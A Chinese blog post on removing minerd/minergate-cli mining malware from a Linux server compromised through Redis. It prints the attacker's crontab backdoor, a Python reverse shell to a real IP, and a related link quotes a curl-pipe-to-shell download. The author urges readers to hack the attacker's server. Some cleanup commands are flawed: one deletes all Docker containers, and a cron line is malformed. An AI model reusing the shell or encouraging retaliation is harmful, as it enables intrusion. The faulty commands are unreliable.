linux查杀minergate-cli/minerd病毒
redis的漏洞让公司的服务器中了挖矿的病毒,入侵者在服务器上留了后门。每次只是把进程杀杀,但是过段时间病毒又回来了,这个事情一直让人头疼。先是minerd的病毒入侵,后是minergate-cli入侵。当时以为是服务器的帐号密码被泄漏了,然后对服务器登录的ip一个个检查,对操作的shell一个个核对,都没有发现异常。这就奇怪了,不知道什么原因让病毒一直入侵。还是minergate-cli这个病毒的运行方式让我找到了问题的所在。以往的miner进程会让cpu跑到1000%的状态,kill的时候只用杀死一个进程就解决问题。后来的一个变种minergate-cli变花样了,开多个进程,每个进程占50-100%的cpu,这样干的目的就是让新手一个个的输入pid,非常耗时。正是这个现象让我想起来用脚本杀进程,脚本杀起来是爽,执行一下minergate-cli进程全没了,但是还是不够爽,手动多累啊,每天还要上来看看,把脚本放到定时任务多好。就是这个启发让我找到问题的所在,入侵者在定时任务留下后门,定时的会向病毒的服务器发送socket,建立连接后对方的服务器就可以正常往你的服务器发送命令,而且赋予了root权限。这样就可以解释为什么病毒执行的时候都是用root帐户运行的了。
以下是定时任务的后门,在/etc/crontab文件中:
----------------------------------------------------------------------------------------------------
***** root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("115.126.100.88",1050));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-----------------------------------------------------------------------------------------------------
命令解释:(python正向连接后门)新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。但这个弹shell脚本只能在linux下使用。
如果看不懂就用一句大白话解释:对方电脑可以操作你的电脑,而且获取了root权限!!!
如果你懂如何黑服务器,在你空闲之于帮我黑黑115.126.100.88这台服务器!!!如果你懂如何黑服务器,在你空闲之于帮我黑黑115.126.100.88这台服务器!!!如果你懂如何黑服务器,在你空闲之于帮我黑黑115.126.100.88这台服务器!!!就是这台服务器往你电脑上发布病毒的。
下面说说解决的步骤:
1、用root用户写一个脚本,比如在/lib下新建一个minerKiller.sh 加入以下内容:(仅限病毒存在docker容器中,别的情况不适用)
---------------------------------------------------------------------------------------------------------------
ps -ef|grep minergate-cli|grep -v grep|awk '{print "kill -9 " $2}'|sh
sleep 5
docker rm $(docker ps -a -q)
docker rmi minecoins/minergate-cli
-------------------------------------------------------------------------------------------------------------------
如果你是minerd病毒,把minergate-cli部分换成minerd即可。
2、修改权限并运行
chmod 700 /lib/minerKiller.sh
./lib/minerKiller.sh
3、清理定时任务
在以下三个地方查找:①/var/spool/cron/ ②/etc/crontab③/etc/cron.d/ 。如果被别人加上恶心的定时任务,直接删除掉。如果和我上面的一样,那肯定是中招了。如果在修改文件过程中以root帐户都无法修改,执行下面命令: chattr –i 文件路径 ,比如我root帐户不能修改/etc/crontab,执行 chattr -i /etc/crontab。然后root用户就可以修改了。
4、如果不放心,可以将查杀病毒的脚本放进定时任务。
用root帐户执行:crontab -e,进入文本后加入以下命令
-------------------------------------------------------------------------
30 0 * * * root /lib/minerKiller.sh
-------------------------------------------------------------------------
系统就会定时执行刚刚写的查杀病毒的脚本了。
linux查杀minergate-cli/minerd病毒的更多相关文章
- Linux 查杀病毒的常见命令
1. 查看异常连接的网络端口及其对应的相应的进程 netstat -anlp | grep EST 2.看下相关的进程ID对应的可执行文件的位置 ps 2393 可以看到进程的可执行文件在哪? 3.临 ...
- linux查杀病毒的几个思路
1. tmp 目录下面 2. 定时任务查找一下 crontab -e 3. 病毒要下载 ps -ef|egrep "curl|wget" 查看是否有下载的命令 4. top 一 ...
- Linux 查杀进程
ps -eaf |grep "stoporder.php" | grep -v "grep"| awk '{print $2}'|xargs kill -9 # ...
- Linux查杀stopped进程
在Linux系统下面,top命令可以查看查看stopped进程.但是不能查看stopped进程的详细信息.那么如何查看stopped 进程,并且杀掉这些stopped进程呢? ps -e j | ...
- Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)
概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...
- 病毒木马查杀实战第009篇:QQ盗号木马之手动查杀
前言 之前在<病毒木马查杀第002篇:熊猫烧香之手动查杀>中,我在不借助任何工具的情况下,基本实现了对于"熊猫烧香"病毒的查杀.但是毕竟"熊猫烧香" ...
- 病毒木马查杀实战第025篇:JS下载者脚本木马的分析与防御
前言 这次我与大家分享的是我所总结的关于JS下载者脚本木马的分析与防御技术.之所以要选择这样的一个题目,是因为在日常的病毒分析工作中,每天都会遇到这类病毒样本,少则几个,多则几十个(当然了,更多的样本 ...
- centos clamav杀毒软件安装配置及查杀,没想到linux下病毒比windows还多!
centos clamav杀毒软件安装配置及查杀,没想到linux下病毒比windows还多! 一.手动安装 1.下载(官网) cd /soft wget http://www.clam ...
- Linux服务器后门自动化查杀教程
一.说明 如果出现文件上传漏洞和命令执行类漏洞(包括命令注入.缓冲区溢出.反序列化等)都会让人担心,系统是否系统已被上传webshell甚至植入木马程序.如果依靠人工排查,一是工作量大二是需要一定程度 ...
随机推荐
- 启动elasticsearch-head显示集群健康值:未连接
ES启动后,进行es header访问的话,使用localhost:9100会显示集群健康值未连接 2种情况(均为windows10环境下): 1:未在elasticsearch-6.8.0\conf ...
- 【HR系列】SAP HR PA信息类型的创建与增强
公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[HR系列]SAP HR PA信息类型的创建与增 ...
- shell下的 awk/sed/grep/seq/tr
转自:实例手册 https://github.com/liquanzhou/ops_doc/blob/master/shell%E5%AE%9E%E4%BE%8B%E6%89%8B%E5%86%8C. ...
- PostgreSQL通过解析日志,获取数据库增量变化,pg_recvlogical
1.首先用该工具来看我们的日志变化,需要先将test_decoding插件编译并安装(进入contrib,编译安装即可) 创建一个slot: SELECT * FROM pg_create_logic ...
- django1.9安装以及使用
安装setuptoolswget --no-check-certificate https://pypi.python.org/packages/69/56/f0f52281b5175e3d9ca86 ...
- mybatis 插入数据返回 -1
通常使用mybatis对数据进行增删改会进行返回值的判断, 返回值不为1时说明该条语句执行失败,不过今天遇到程序报错返回值不为1,去数据库查看却发现插入成功了,后来知道原来是因为mybatis一次对多 ...
- qt tableview里面添加控件
在QStyledItemDelegate的paint方法里面 void MyItemModelDeletage::paint(QPainter *painter, const QStyleOption ...
- 2019-11-29-WPF-轻量级-MVVM-框架入门-2.1.2
title author date CreateTime categories WPF 轻量级 MVVM 框架入门 2.1.2 lindexi 2019-11-29 10:16:10 +0800 20 ...
- Delphi 指令符
- Linux之RedHat7如何更换yum源
目前,我们常见的系统大概就是Windows.Linux和Mac OS了.Windows系统应该是大部分人最早开始接触的系统,毕竟Windows系统使用起来相当方便,只需要点点鼠标,外加会简单的打字,一 ...